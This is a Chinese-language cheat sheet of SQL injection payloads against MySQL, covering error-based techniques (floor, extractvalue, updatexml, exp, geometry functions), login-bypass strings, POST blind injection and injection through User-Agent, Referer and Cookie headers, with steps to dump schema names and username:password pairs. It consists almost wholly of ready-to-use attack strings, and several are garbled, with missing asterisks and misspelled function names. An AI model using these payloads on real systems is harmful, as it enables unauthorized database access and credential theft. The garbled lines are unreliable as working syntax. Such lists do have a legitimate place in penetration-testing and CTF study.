sql注入（报错注入）

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
爆数据库名：'union select 1 from (select count(),concat((select database())," ",floor(rand(0)2))x from information_schema.tables group by x)a
爆表名：'union select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a
爆列名：'union select 1 from (select count(),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a
爆数据：'union select 1 from (select count(),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)2))x from information_schema.tables group by x)a

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
查数据库名：id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名：id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据：id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
关于POST注入

常用的万能username语句：
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

post型盲注通杀payload：

uname=admin%df'or()or%200%23&passwd=&submit=Submit

关于UPDATEXML,REFERER,COOKIE的构造

User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

updatexml报错注入

爆数据库版本信息：?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户：?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库：?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容：?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

注：

① 0x7e=’~’
② concat(‘a’,‘b’)=“ab”
③ version()=@@version
④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
⑤ extractvalue()能查询字符串的最大长度为32，如果我们想要的结果超过32，就要用substring()函数截取或limit分页，一次查看最多32位